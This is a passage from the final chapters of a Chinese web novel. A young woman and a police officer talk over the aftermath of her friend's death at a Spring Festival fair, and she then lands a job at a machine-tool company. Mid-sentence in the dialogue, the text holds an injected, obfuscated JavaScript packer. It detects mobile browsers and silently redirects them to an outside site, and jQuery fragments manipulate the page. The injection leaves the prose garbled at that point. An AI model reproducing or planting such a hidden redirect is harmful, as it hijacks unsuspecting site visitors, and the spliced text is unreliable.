昨晚到家,她躺在床上思考了很久。丘静和叶建文是喜欢叨叨她,并且经常提出一些过时且令人生厌的建议。但仔细想想,她的父母似乎从未真正的干涉过她的决定。正相反,那些抱怨和不满的背后藏着一种含蓄且真实的情感——“支持”。 叶微瑄拎起装着运动夹克的购物袋,走向电梯,手中沉甸甸的。 要和卖场说再见了。不出意外的话,她不会再回来了。短短两周遇到的人和事都将成为过去,这两周的经历本就是因为楚零才存在的,倒也没什么遗憾。更何况,楚零——她最好的朋友,已经成为过去。 那就好好告别吧。她扭头,最后看了一眼运动卖场。那是……她将目光落在出入口贴着的告示牌上,下面两行是投诉电话。其中一个号码是店长办公室的座机,她认识。 她微微提起嘴角,转过头,电梯缓慢上行。真好,电话没有被换掉,她心想。 …… 与边何再次见面是在大年初六,地点是市区的游乐园,每年春节那里都会举办庙会。窗外天气阴沉,适合睡懒觉。边何约叶微瑄的时候不到十点,她刚醒,正躺在父母家的次卧百无聊赖的刷短视频。春节期间,她一直住在这里,每日随父母走亲访友。 出门前,丘静拦在门口。按一家人的计划,三口子今日要去拜访一位老街坊。那位老街坊的儿子目前在钢铁公司的采购部门,算是部门小领导,兴许可以帮叶微瑄在公司谋求一份工作。 “您聊好了告诉我就成,我随时可以面试。但我现在有急事,得赶紧出门。”叶微瑄说这话时,已将围脖挂在脖子上,并随手拿起一顶针织帽,“对不住啦——”她难得撒了个娇。 “这孩子。”丘静拧着眉毛摇摇头,放她出门。 “哈哈,你也挺气人的。”边何听叶微瑄绘声绘色地形容母亲无奈的表情,发出一个爽朗的笑声。队里人少任务多,他没能回家过年。“这要是我妈,她会直接揪着我的耳朵给我拽回去。” 确实挺气人的,明明说好的事,放了父母鸽子。叶微瑄认同边何的话,不过她也有点得意。让她感到得意的不是别人,正是她那对再普通不过的父母。 “你也有进步。”边何继续“自大”地做着评价。 叶微瑄将两张纸质门票递给检票员。是她执意要买纸质票的,边何为此不得不退了电子票。“我怎么进步了?还请您指教。”她将其中一张票的票根递给边何,“喏,留作纪念。” “谢谢。我是觉得你竟然愿意接受父母的安排了。你不是不喜欢别人干涉你找工作的事吗?” 好像是哦。是什么时候改变的呢?叶微瑄嘟起嘴,没有回答边何的问题。她清楚这其中的原由,她不是向现实低了头,只是不想辜负父母的心意。她“嘿嘿”地傻笑了两声,没有解释,这话真说出口会显得有点矫情。 二人肩并肩,随着人流向游乐园深处走去。虽然是庙会的倒数第二天,现场却人头攒动,十分的热闹。过山车在轰隆作响,火箭蹦极携带撕心裂肺的尖叫声直上云霄。小吃街附近白烟缕缕、热气蒸腾,摊主们在卖力地吆喝,“羊肉串、爆肚、油面茶……”,就好像谁的声音大,谁家的美食就最好吃。路灯、树间挂着的中国结和红灯笼也不甘寂寞,在西北风中摇晃,欢快的模样就像因美食而兴奋的游客。人们似乎忘却了寒冷,穿梭于温暖、诱人的烟火气中,满是喧嚣与吵闹。 正前方卖炸薯塔的餐车前排起了长队,叶微瑄与边何站到队尾。“你约我出来不单纯是为了逛庙会吧?”她问出心中所想。 很想是,但确实不是。边何沉下肩膀,点点头。 “零零案子的事?结案了吗?” “离结案还有一段时间,我们在整理证据和笔录,然后交给检方。忘记告诉你了,我们在顾锵然准备埋藏的东西中发现了楚零的日记。” “零零的日记?”叶微瑄有些惊讶。仔细想想,顾锵然从箱子里往外拿东西时,确实有一个笔记本。“为什么会在……算了……”她咽了下口水,没有说出后面的话。能够拿走楚零日记的只有顾锵然。 “就是你想的那样。日记的内容与楚零生前最后的遭遇有关,和你、我,警方的推测几乎一致。顾锵然与楚零说分手的当晚,她做出了割腕的行为。巧的是,就在她犹豫时,接到了父母打来的电话。” “啊……” “是的。父母盼着她回家过年,说要给她做最爱吃的卤鸡爪。” 边何的语气波澜不惊,叶微瑄却红了眼睛。 “在证据面前,顾晓兰和顾锵然还算配合,对犯罪事实供认不讳,后面就看检方如何 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506597|186084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起诉了。可以肯定的是,顾晓兰涉嫌故意杀人。麻烦的是顾锵然,他的犯罪事实不好定性。” 叶微瑄本就不平静的内心再次感到一丝异样。时至今日,她仍然无法将“犯罪”两字与昔日好友联系在一起。这感觉很矛盾,并且十分的酸楚。 “我相信锵然对零零是真心的。只是……”实在不知该怎么形容。顾锵然与她说话和面对母亲时的模样完全是两个人。 “我理解你的感受。顾锵然对楚零是真心的,对他妈妈也是真心的。”边何苦笑道,“我不否认他是一个真诚的人。可他明明是好心,却间接酿成如此悲惨的后果。而且,不得不说……” “但说无妨。” “他就像一个没长大的孩子。小朋友对人都是真诚的,但面对困难时,也确实没有太多的办法。顾锵然被母亲包容,被女朋友包容。他很聪明,能够做出异于常人的行为,可关键时刻却缺乏主见。她们让他干什么,他就会干什么。” 案发时,顾锵然得知母亲的所作所为后若能第一时间报警、叫救护车,结局或许会不同。这也是为什么他的犯罪事实不好定性。涉嫌销毁、伪造证据,这没什么可说的。尚存争议的是,顾晓兰的行为是否造成楚零当场死亡。顾锵然要求顾晓兰立刻离开案发现场有协助犯罪的嫌疑。 边何暂时没把这件事告诉叶微瑄,但她早晚会知道。未来庭审时,叶微瑄会以证人的身份出庭作证。 边何叹了一口气。“说他懦弱吧,好像又不是。他想寻求两全,最终却失去了所有。” “蜿蜒向前的铁轨出现道岔,该选出一条的。” “嗯?”他惊讶于叶微瑄的形容。 “大学的时候,我和零零经常去学校附近的旧钢铁厂散步,那里有一条废弃的铁路。零零曾站在道岔间问我,毕业要不要来燕京发展。我当时可是举双手赞同呢。如果我当时说了模棱两可的话,零零会失望吧,因为那样不能给她带来任何帮助。或许有时,我们该坚定的做出选择。” “可是存在出错的可能啊。我问你,如果让你再做一次选择的话,你还会赞同吗?” 印象中,边何问过类似的问题。叶微瑄的答案没有变。“会。” “你就不为此感到后悔?” “我后悔过,只是我发现后悔是这世界上最没用的情感。与其后悔,不如在未来做出改变。人生就像不停奔袭的火车,道岔会改变火车行进的方向。可是我要说,扳动道岔转换装置的是我们自己,命运终究决定在自己的手里。更何况,我不认为零零的选择有问题,不是吗?” “嗯,同意。” “与我而言,那些令人感到后悔的事并不是人生的拦路石。” “什么意思?” “时间的脚步从不停歇,人生没有退路。即便是因为选择出了错,即便是摔倒了,我们也是在朝前走。换句话说,等老了以后再回首,那些年少时莽撞的选择就像宝贵的经验,丰富着我们的人生阅历,造就了我们每个人的与众不同。” 叶微瑄说这话时很轻松,边何在对方的眼中看见一道光,在天色昏暗的冬日里异常明亮。 他内心动容,伸手想去揉叶微瑄的脑袋,对方下意识地躲开了。有点尴尬,幸好卖薯塔的大哥嚷嚷了一嗓子。“接一下!”他这才反应过来,轮到他们了。 他接过大哥递过来的薯塔,分给叶微瑄一根。刚出锅的薯塔色泽诱人,对方迫不及待地咬了一口。“吃啊,看我干嘛?” “嗯嗯,吃。”边何配合着也咬了一口,啊,烫死了。“对了,我找你是想聊聊楚零父母的事。他们明天就回老家了,等检方起诉再来。你要不要和我去送他们?咱们要不要一起给他们买点特产什么的……”脸莫名的发烫,耳朵烧得慌,他脸红的如同小朋友手中拿着的冰糖葫芦。 对哦……叶微瑄垂下视线。她没察觉边何的小心思,而是想起楚零的保温杯还在她这儿,她思忖着要不要还给对方父母。“边何……”她将心中的顾虑与对方说了说。 边何挠了挠脑袋。“你怕楚零父母感到内疚?” “嗯,零零如此珍惜他们送的保温杯,一用就是很多年。她的爸妈会不会因此感到内疚?后悔没有对女儿再好一点?活着的人很容易这样谴责自己吧。” “有道理……”边何也不知道该怎么办。 就在二人陷入思考时,一颗细小的白色“砂砾”从他们的眼前飞过。他们朝彼此露出一个惊喜的眼神,仰头看向天空。 “啊——下雪啦——”不知是谁大叫一声。洁白的雪花从空中缓缓飘落,热闹的人群愈发沸腾了,笑声、尖叫声也随之而来。雪花点亮了人们脸上的笑容,笑容点亮了这个平凡的冬日。 雪天果然能给人带来快乐。而且不止,洁净的雪花仿佛能抚平杂乱不堪的思绪,叶微瑄似乎找到了答案。 “不还了。”她笑着看向边何。 “决定了?” “嗯!”她肯定地点点头。 31. 尾声2(终章) “请问,你对工业母机了解多少?” “以前不是很了解,现在略知一二。” “哈哈,很诚实嘛。”脸型有些狭长的男性面试官笑道。他是公司的人力,旁边坐着另外一个女人。女人长相柔和,眼睛也笑成一条缝,但锐利的目光还是从缝隙中穿过,落在叶微瑄的脸上。面试开始十分钟后,女人才来,自我介绍是这家制造业龙头企业的市场部负责人。这家公司主要生产的设备是被喻为现代工业心脏的工业母机。 “说说看。”女人轻声细语地提出要求。 “工业母机大概就是生产机器的机器。”对面的人又在笑,叶微瑄顿了顿,试图重新组织语言。来之前明明背过的,只是好像全忘了。 都赖边何。昨天,对方向她极力推荐这家公司,说是帮她联系好了面试,吓了她一跳。重点是,边何上午告知她此事,下午她就接到面试电话。然后,今天她就坐在了这里。为此,她熬了半个通宵去了解完全没听说过的工业母机,害得她早上出门时不得不在眼圈周围涂了很厚的一层遮瑕膏。 “工业母机就是传统意义上的加工机床,经智能化改造后变高级了,比如:现代数控机床。它们是可以进行精密加工的机器,能够用来制造高精度零部件,从而广泛运用在汽车制造、航空航天、电子、能源等行业。” “嗯……看来是做过功课。之前听说过我们公司吗?” “听说过。”这是一句实话,只不过是昨天才听边何说的。不过令叶微瑄感到意外的是,丘静也知道这家公司,因为丘静炒股。这家工业母机公司是跨国集团的母公司,早在十年前就已上市,子公司遍布海外,盈利能力十分稳定。公司生产的精密型机器设备被广泛应用在汽车制造领域。近年来AI产业发展迅速,公司正在研发新型数控设备,旨在为人形机器人的制造提供基础支持。 叶微瑄将所知毫无保留的讲给两位面试官。从对方的表情上看,他们对她的回答还算满意。她对工业母机很感兴趣,不会可以学,她向两位面试官表达了心中的意思。 “你是燕京人?”面试的最后,女人问她,“家离这边远吗?”比起刚才,对方此时的语气更像是关心。 若是以前,叶微瑄可能会犹豫怎么回答。不过今天两位面试官给她的感觉很随和,她觉得自己说实话也没有问题。而且从进入园区,她就感受了这家公司的不同。遇见的十个人里有五个人会朝她露出微笑,让她倍感放松,这大概就是笑容的力量吧。 “远,通勤要两个小时。”她实话实说。制造业公司通常在郊区,这家公司也不例外。“如果入职,我可能会考虑在公司附近租房子。” “租房子?”女人扬起眉毛,看向男性面试官。男性面试官挠了挠鼻头,为遗漏的细节道了一声“抱歉”。由此看来,他们不是平级。“我们公司有员工宿舍,在厂区内,两人一间。一会儿没事的话,你可以去看看。”女人说。 “啊?” “怎么了?” “看看?我被录用了吗?”表达的有些直白,她的脸红了。 女人笑着没说话。她递给男性面试官一个眼神,说自己还有事,并朝叶微瑄点点头,起身离开了。 今天是什么日子啊?直到放下笔的那一刻,叶微瑄仍对眼前的一切感到不可思议。桌上放的是劳动合同,从下周起,她将成为这家制造业龙头企业的一员。月薪虽然不高,却管吃管住。而且她也终于知道公司员工爱笑的原因了。公司有着较为完善的员工持股计划,就连厂里的工人都可以通过工会分得一杯羹。 不仅如此,人力说了,优秀的市场部员工会被外派到海外子公司。当然,这也要看员工本人的意愿。 “外派?”边何起身掸了掸屁股。今天没什么事,他主动提出开车送叶微瑄面试。不过他没有陪叶微瑄进厂区,而是一直坐在厂区外的马路牙子上等对方。为什么不坐在车里?因为他的内心有点热,即使还没有到立春的日子。 “重点不是外派,是我首轮面试就被这么厉害的公司录用了!哦,也不能算首轮,昨天有过简短的电话面试。” “真不错。” “噫——好假。你为什么一点不惊讶?而且……” “而且什么?” “作为朋友,你不该祝贺我吗?怎么看着一点不兴奋呢?”真是意外之喜,叶微瑄说这话时五官都要飞起来了,就连抱怨的语气都听着很高兴。 “我高兴呀。”边何夸张地笑了笑。他也想兴奋,可想到今天来的目的,他就紧张。其实他早就知道面试结果。这家公司的大股东与他的师父是大学同学。他求了师父,师父便将叶微瑄协助警察办案的事与那位大股东说了说。重感情、真诚、勇敢、知恩图报,谁不想要这样的员工。当然,这些溢美之词全部出自边何之口,他的师父只是夸张的传达了一下。 “你喜欢她?” “是。” “那就尽快下手。” “好的,师父。” 正如师父说的那样,他必须得尽快下手。前两天叶微瑄还和他抱怨过,马暗尘又开始“骚扰”她了,时不时的会买鲜花送到她家,还没法拒收。 不能再等了。他今天约叶微瑄就是为了向对方表达心意,所以他快要紧张死了,心脏一直在突突。 他做了一次深呼吸,替叶微瑄打开副驾驶的车门。“请。”他略显正式地伸出手,耳朵在燃烧,简直是冰火两重天。 “谢谢。”叶微瑄轻盈地坐到两厢小车的副驾驶位置。看神情,好像她明天就能荣升市场部总监一样。“涂涂嚷嚷着要我请吃饭。”她笑着念出手机上的内容,“说要好好宰我一顿。” “是么。”边何咳嗽了一声,试图纠正略显 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“是吗?那你了解的还挺详细。看你的状态,我怎么觉得你早就知道我会被录用呢?连餐厅都提前订好了。我跟你说,信任基础对任何事都很重要。你明白我的意思吧?” “明白……” “老实交代,你和这家公司什么关系?” “没关系。我师父认识这家公司的大股东。她们关系很好,春节期间刚聚完。还有就是……我这辆车就是那位大股东卖给我的。” “大股东开你这辆车?” “怎么了?不许有钱人低调?” “看来大股东人不错。” 这是什么逻辑,不过说的也没错,边何“咯咯咯”地笑出声音。“等你以后见到那位大股东就知道了,人很漂亮,也很随和。” “漂亮?” “对啊,是位漂亮又有气质的女人。” 女人?叶微瑄恍惚了一下,忽然“啊”了一声,猛地朝前探出身子,又被安全带勒了回去。 “怎么了?”边何瞥了她一眼,关切地问道。 “没、没事儿。”叶微瑄不敢相信自己的判断。不能吧……她定了定神,扭头看向边何。边何目视前方,小眼睛炯炯有神,表情十分认真。这张侧脸虽然不算帅,却能让人感到踏实。 该和对方说一声“谢谢”的,就算是为工作的事也应该说一声。更何况,叶微瑄认为不止是为了工作。 “那就走吧。”她说。 “啊?”边何没听清。 “去你订的餐厅。你不是有话和我说吗?” 这下听清了,边何深吸一口气,用力点了下头。他猛踩油门,两厢小车冲了出去。限速一百,刹车灯适时的闪了闪,就像是在炫耀一样。